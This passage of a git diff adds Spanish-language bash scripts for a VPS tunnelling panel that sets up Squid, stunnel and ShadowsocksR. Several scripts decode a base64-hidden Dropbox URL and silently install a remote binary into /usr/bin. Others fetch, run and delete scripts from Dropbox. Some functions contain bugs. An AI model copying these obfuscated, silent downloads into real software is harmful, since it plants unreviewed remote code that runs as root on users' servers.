install apache2-utils squid + touch /etc/squid/passwd + /bin/rm -f /etc/squid/squid.conf + /usr/bin/touch /etc/squid/blacklist.acl + /usr/bin/wget --no-check-certificate -O /etc/squid/squid.conf https://www.dropbox.com/s/5mb69eainxialac/squid.conf + /sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT + /sbin/iptables-save + systemctl enable squid + systemctl restart squid +else + echo "SISTEMA OPERATIVO NO SOPORTADO POR FAVOR PONGASE EN CONTACTO CON @dankelthaher1" + exit 1; +fi +#/usr/bin/htpasswd -b -c /etc/squid/passwd USERNAME_HERE PASSWORD_HERE +} + +msg -bar +echo -ne "$(msg -verd "[1]") $(msg -verm2 ">") " && msg -azu "INSTALAR SQUID" +echo -ne "$(msg -verd "[2]") $(msg -verm2 ">") " && msg -bra "SQUID UBUNTU 18,19" +echo -ne "$(msg -verd "[3]") $(msg -verm2 ">") " && msg -azu "DETENER SQUID" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "SALIR" +msg -bar +while [[ ${varread} != @([0-3]) ]]; do +read -p "Opcion: " varread +done +echo -e "$BARRA" +if [[ ${varread} = 0 ]]; then +exit +elif [[ ${varread} = 1 ]]; then +install_squid +elif [[ ${varread} = 2 ]]; then +squid_19 +elif [[ ${varread} = 3 ]]; then +fun_squid +fi \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/ssl.sh b/ADM-VENTAS-LEALDROID/request/ssl.sh new file mode 100644 index 0000000..8f35533 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ssl.sh @@ -0,0 +1,68 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +API_TRANS="aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9sNmlxZjV4anRqbXBkeDUvdHJhbnM/ZGw9MA==" +SUB_DOM='base64 -d' +wget -O /usr/bin/trans $(echo $API_TRANS|$SUB_DOM) &> /dev/null +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +ssl_stunel () { +[[ $(mportas|grep stunnel4|head -1) ]] && { +msg -ama " $(fun_trans "Parando Stunnel")" +msg -bar +fun_bar "service stunnel4 stop" +msg -bar +msg -ama " $(fun_trans "Parado Con exito!")" +msg -bar +return 0 +} +msg -azu " $(fun_trans "SSL Stunnel")" +msg -bar +msg -ama " $(fun_trans "Seleccione una puerta de redirección interna")" +msg -ama " $(fun_trans "Es decir, un puerto en su servidor para SSL")" +msg -bar + while true; do + echo -ne "\033[1;37m" + read -p " Local-Port: " portx + if [[ ! -z $portx ]]; then + if [[ $(echo $portx|grep [0-9]) ]]; then + [[ $(mportas|grep $portx|head -1) ]] && break || echo -e "\033[1;31m $(fun_trans "Puerto Invalido")" + fi + fi + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" +msg -ama " $(fun_trans "Ahora precisamos Saber que puerta SSL, va a escuchar")" +msg -bar + while true; do + read -p " Listen-SSL: " SSLPORT + [[ $(mportas|grep -w "$SSLPORT") ]] || break + echo -e "\033[1;33m $(fun_trans "esta puerta está en uso")" + unset SSLPORT + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo br; echo br; echo uss; echo speed; echo adm; echo ultimate; echo @admultimate)|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "INSTALADO CON EXITO")" +sudo reboot +msg -bar +return 0 +} +ssl_stunel \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/ssld.sh b/ADM-VENTAS-LEALDROID/request/ssld.sh new file mode 100644 index 0000000..d9372fe --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ssld.sh @@ -0,0 +1,182 @@ +#!/bin/bash +Block="/etc/crondbl" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +API_TRANS="aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy9sNmlxZjV4anRqbXBkeDUvdHJhbnM/ZGw9MA==" +SUB_DOM='base64 -d' +wget -O /usr/bin/trans $(echo $API_TRANS|$SUB_DOM) &> /dev/null +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +ssl_stunel () { +[[ $(mportas|grep stunnel4|head -1) ]] && { +msg -ama " $(fun_trans "Parando Stunnel")" +msg -bar +fun_bar "service stunnel4 stop" +msg -bar +msg -ama " $(fun_trans "Parado Con exito!")" +msg -bar +} +} +msg -azu " $(fun_trans "SSL Stunnel Openssh")" +msg -bar +#msg -ama " $(fun_trans "Seleccione una puerta de redirección interna")" +#msg -ama " $(fun_trans "Es decir, un puerto en su servidor para SSL")" +#msg -ama " $(fun_trans "Deve ser un puerto dropbear")" +#msg -bar +# while true; do +# echo -ne "\033[1;37m" +# read -p " Puerto SSL: " portx +# if [[ ! -z $portx ]]; then +# if [[ $(echo $portx|grep [0-9]) ]]; then +# [[ $(mportas|grep $portx|head -1) ]] && break || echo -e "\033[1;31m $(fun_trans "Puerto Invalido")" +# fi +# fi +# done +#msg -bar +#DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + +ssl_iniciar() { +msg -bra " $(fun_trans "Que puerto desea abrir como SSL Openssh")" +msg -bar + while true; do + read -p " Puerto SSL: " SSLPORT + [[ $(mportas|grep -w "$SSLPORT") ]] || break + msg -ama "$(fun_trans "esta puerta está en uso")" + unset SSLPORT + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4 -y" +msg -bar +msg -azuc "Presione Enter a todas las opciones" +sleep 3 +msg -bar +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +echo -e "client = no\n[ssh]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:22" > /etc/stunnel/stunnel.conf + +echo "ENABLED=1 " >> /etc/default/stunnel4 +echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 +echo "OPTIONS="" " >> /etc/default/stunnel4 +echo "PPP_RESTART=0" >> /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "INSTALADO CON EXITO")" +msg -bar +} + +ssl_portas() { +msg -bra "$(fun_trans "Que puerto desea agregar como SSL Openssh")" +msg -bar + while true; do + read -p " Puerto SSL: " SSLPORT1 + [[ $(mportas|grep -w "$SSLPORT1") ]] || break + echo -e "$(fun_trans "esta puerta está en uso")" + unset SSLPORT1 + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4" +msg -bar +msg -azuc "Presione Enter a todas las opciones" +sleep 2 +msg -bar +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ + +echo "client = no" >> /etc/stunnel/stunnel.conf +echo "[ssh+]" >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem" >> /etc/stunnel/stunnel.conf +echo "accept = ${SSLPORT1}" >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:22" >> /etc/stunnel/stunnel.conf + +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "AGREGADO CON EXITO")" +msg -bar +} + +ssl_redir() { +msg -bra "$(fun_trans "Asigne un nombre para el redirecionador")" +msg -bra "$(fun_trans "letras sin espacio ejem: shadow,openvpn,etc...")" +msg -bar +read -p " nombre: " namer +msg -bar +msg -bra "$(fun_trans "A que puerto redirecionara el puerto SSL")" +msg -bra "$(fun_trans "Es decir un puerto abierto en su servidor")" +msg -bra "$(fun_trans "ejemplo: openvpn,shadowsocks,dropbear etc...")" +msg -bar +read -p " Local-Port: " portd +msg -bar +msg -bra "$(fun_trans "Que puerto desea agregar como SSL")" +msg -bar + while true; do + read -p " Puerto SSL: " SSLPORTr + [[ $(mportas|grep -w "$SSLPORTr") ]] || break + echo -e "$(fun_trans "esta puerta está en uso")" + unset SSLPORT1 + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4" +msg -bar +msg -azuc "Presione Enter a todas las opciones" +sleep 2 +msg -bar +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ + +echo "client = no" >> /etc/stunnel/stunnel.conf +echo "[${namer}]" >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem" >> /etc/stunnel/stunnel.conf +echo "accept = ${SSLPORTr}" >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:${portd}" >> /etc/stunnel/stunnel.conf + +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "AGREGADO CON EXITO")" +msg -bar +} + +msg -bar +msg -bra "[1] = ABRIR PUERTO SSL" +msg -bra "[2] = AGREGAR MAS PUERTOS SSL" +msg -verd "[3] = REDIRECIONAR SSL" +msg -verm2 "[4] = DETENER PUERTO SSL" +msg -bra "[0] = SALIR" +msg -bar +while [[ ${varread} != @([0-3]) ]]; do +read -p "Opcion: " varread +done +msg -bar +if [[ ${varread} = 0 ]]; then +exit +elif [[ ${varread} = 1 ]]; then +ssl_iniciar +elif [[ ${varread} = 2 ]]; then +ssl_portas +elif [[ ${varread} = 3 ]]; then +ssl_redir +elif [[ ${varread} = 4 ]]; then +ssl_stunel +fi +msg -bar \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/sslmanager.sh b/ADM-VENTAS-LEALDROID/request/sslmanager.sh new file mode 100644 index 0000000..c6a8fe0 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/sslmanager.sh @@ -0,0 +1,183 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +ssl_iniciar () { +msg -bra " $(fun_trans "Que puerto desea abrir como SSL Openssh")" +msg -bar + while true; do + read -p " Puerto SSL: " SSLPORT + [[ $(mportas|grep -w "$SSLPORT") ]] || break + msg -ama "$(fun_trans "esta puerta está en uso")" + unset SSLPORT + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4 -y" +msg -bar +msg -azuc "Presione Enter a todas las opciones" +sleep 3 +msg -bar +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +echo -e "client = no\n[ssh]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:22" > /etc/stunnel/stunnel.conf + +echo "ENABLED=1 " >> /etc/default/stunnel4 +echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 +echo "OPTIONS="" " >> /etc/default/stunnel4 +echo "PPP_RESTART=0" >> /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "INSTALADO CON EXITO")" +msg -bar +} + +ssl_portas () { +msg -bra "$(fun_trans "Que puerto desea agregar como SSL Openssh")" +msg -bar + while true; do + read -p " Puerto SSL: " SSLPORT1 + [[ $(mportas|grep -w "$SSLPORT1") ]] || break + echo -e "$(fun_trans "esta puerta está en uso")" + unset SSLPORT1 + done +msg -bar +msg -ama " $(fun_trans "Instalando SSL")" +msg -bar +fun_bar "apt-get install stunnel4" +msg -bar +msg -azuc "Presione Enter a todas las opciones" +sleep 3 +msg -bar +openssl genrsa 1024 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ + +echo "client = no" >> /etc/stunnel/stunnel.conf +echo "[ssh+]" >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem" >> /etc/stunnel/stunnel.conf +echo "accept = ${SSLPORT1}" >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:22" >> /etc/stunnel/stunnel.conf + +service stunnel4 restart > /dev/null 2>&1 +msg -bar +msg -ama " $(fun_trans "AGREGADO CON EXITO")" +msg -bar +} +ssl_del () { +msg -bar +msg -ama " $(fun_trans "ELIMINANDO PUERTOS SSL")" +msg -bar +service stunnel4 stop +apt-get remove stunnel4 -y +apt-get purge stunnel4 -y +rm -rf /etc/stunnel/stunnel.conf +rm -rf /etc/default/stunnel4 +rm -rf /etc/stunnel/stunnel.pem +msg -bar +msg -ama " $(fun_trans "LOS PUERTOS SSL SEAN DETENIDO CON EXITO")" +msg -bar +} +inst_sslt () { +wget -O $HOME/ssl.sh https://www.dropbox.com/s/833a2nhtzskolfw/ssl.sh &>/dev/null +chmod +x $HOME/ssl.sh +cd $HOME +./ssl.sh +rm $HOME/ssl.sh &>/dev/null +} +multi_ssl () { +wget -O $HOME/multissl.sh https://www.dropbox.com/s/h5kzdymmd632jaq/multissl.sh &> /dev/null +chmod +x $HOME/multissl.sh +cd $HOME +./multissl.sh +rm $HOME/multissl.sh &>/dev/null +} +shadow_fun () { +echo -e " \033[1;36m $(fun_trans "SSL MANAGER OPENSSH") \033[1;32m[NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}$(fun_trans "INSTALAR SSL MANUAL-OPENSSH")" +echo -e "${cor[5]} [2] > ${cor[2]}$(fun_trans "INSTALAR SSL DIRECTO")" +echo -e "${cor[4]} [3] > ${cor[5]}$(fun_trans "ABRIR MAS PUERTOS SSL MANUAL")" +echo -e "${cor[5]} [4] > ${cor[2]}$(fun_trans "REDIRECCIONAR SSL")" +echo -e "${cor[5]} [5] > ${cor[4]}$(fun_trans "DETENER EL PUERTO SSL")" +echo -e "${cor[4]} [6] > ${cor[0]}$(fun_trans "SALIR")" +echo -e "${cor[4]} [0] > ${cor[0]}$(fun_trans "VOLVER")\n${barra}" +while [[ ${opx} != @(0|[1-5]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite una Opcion"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + menu;; + 1) + ssl_iniciar + break;; + 2) + inst_sslt + break;; + 3) + ssl_portas + break;; + 4) + multi_ssl + break;; + 5) + ssl_del + break;; + 6) + exit;; + +esac +done +} +shadow_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/ssrrmu.sh b/ADM-VENTAS-LEALDROID/request/ssrrmu.sh new file mode 100644 index 0000000..a56a3f9 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ssrrmu.sh @@ -0,0 +1,2126 @@ +#!/bin/bash +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +SCPfrm="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +BARRA="\e[0;31m--------------------------------------------------------------------\e[0m" +#================================================= +# System Required: CentOS 6+/Debian 6+/Ubuntu 14.04+ +# Description: Install the ShadowsocksR mudbjson server +# Version: 1.0.25 +# Author: Toyo +# Translator: hybtoy +# Blog: https://doub.io/ss-jc60/ +#================================================= + +sh_ver="1.0.26" +filepath=$(cd "$(dirname "$0")"; pwd) +file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') +ssr_folder="/usr/local/shadowsocksr" +config_file="${ssr_folder}/config.json" +config_user_file="${ssr_folder}/user-config.json" +config_user_api_file="${ssr_folder}/userapiconfig.py" +config_user_mudb_file="${ssr_folder}/mudb.json" +ssr_log_file="${ssr_folder}/ssserver.log" +Libsodiumr_file="/usr/local/lib/libsodium.so" +Libsodiumr_ver_backup="1.0.16" +Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh" +LotServer_file="/appex/bin/serverSpeeder.sh" +BBR_file="${file}/bbr.sh" +jq_file="${ssr_folder}/jq" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +blue_font_prefix="\e[1;34m" && ama_font_prefix="\e[1;33m" && asul_font_prefix="\e[0;34m" && blan_font_prefix="\e[1;37m" +Info="${Green_font_prefix}[information]${Font_color_suffix}" +Error="${Red_font_prefix}[error]${Font_color_suffix}" +Tip="${Green_font_prefix}[note]${Font_color_suffix}" +Separator_1="————————————————————————————————————————————————————————————" + +check_root(){ + [[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacin, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedir que ingrese la contrasea de la cuenta actual despus de la ejecucin)" && exit 1 +} +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_pid(){ + PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +} +check_crontab(){ + [[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1 +} +SSR_installation_status(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error}ShadowsocksR No se encontro la carpeta, por favor verifique" && exit 1 +} +Server_Speeder_installation_status(){ + [[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1 +} +LotServer_installation_status(){ + [[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1 +} +BBR_installation_status(){ + if [[ ! -e ${BBR_file} ]]; then + echo -e "${Error} No encontre el script de BBR, comience a descargar ..." + cd "${file}" + if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then + echo -e "${Error} BBR script descargar!" && exit 1 + else + echo -e "${Info} BBR script descarga completa!" + chmod +x bbr.sh + fi + fi +} +#Establecer reglas de firewall +Add_iptables(){ + if [[ ! -z "${ssr_port}" ]]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + fi +} +Del_iptables(){ + if [[ ! -z "${port}" ]]; then + iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + fi +} +Save_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + fi +} +Set_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + chkconfig --level 2345 iptables on + chkconfig --level 2345 ip6tables on + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +#Leer la informacin de configuracin +Get_IP(){ + ip=$(wget -qO- -t1 -T2 ipinfo.io/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 api.ip.sb/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip) + if [[ -z "${ip}" ]]; then + ip="VPS_IP" + fi + fi + fi +} +Get_User_info(){ + Get_user_port=$1 + user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}") + match_info=$(echo "${user_info_get}"|grep -w "### user ") + if [[ -z "${match_info}" ]]; then + echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1 + fi + user_name=$(echo "${user_info_get}"|grep -w "user_name:"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + [[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)" +echo -e "$BARRA" + obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + #transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/') + #u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + #d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + [[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo" +echo -e "$BARRA" + speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +echo -e "$BARRA" + Get_User_transfer "${port}" +} +Get_User_transfer(){ + transfer_port=$1 + #echo "transfer_port=${transfer_port}" + all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file}) + #echo "all_port=${all_port}" + port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}') + #echo "port_num=${port_num}" + port_num_1=$(expr ${port_num} - 1) + #echo "port_num_1=${port_num_1}" + transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file}) + #echo "transfer_enable_1=${transfer_enable_1}" + u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file}) + #echo "u_1=${u_1}" + d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file}) + #echo "d_1=${d_1}" + transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1}) + #echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}" + transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1}) + #echo "transfer_enable_Used_1=${transfer_enable_Used_1}" + + + if [[ ${transfer_enable_1} -lt 1024 ]]; then + transfer_enable="${transfer_enable_1} B" + elif [[ ${transfer_enable_1} -lt 1048576 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}') + transfer_enable="${transfer_enable} KB" + elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}') + transfer_enable="${transfer_enable} MB" + elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}') + transfer_enable="${transfer_enable} GB" + elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}') + transfer_enable="${transfer_enable} TB" + fi + #echo "transfer_enable=${transfer_enable}" + if [[ ${u_1} -lt 1024 ]]; then + u="${u_1} B" + elif [[ ${u_1} -lt 1048576 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}') + u="${u} KB" + elif [[ ${u_1} -lt 1073741824 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}') + u="${u} MB" + elif [[ ${u_1} -lt 1099511627776 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}') + u="${u} GB" + elif [[ ${u_1} -lt 1125899906842624 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}') + u="${u} TB" + fi + #echo "u=${u}" + if [[ ${d_1} -lt 1024 ]]; then + d="${d_1} B" + elif [[ ${d_1} -lt 1048576 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}') + d="${d} KB" + elif [[ ${d_1} -lt 1073741824 ]]; then + d=$(awk 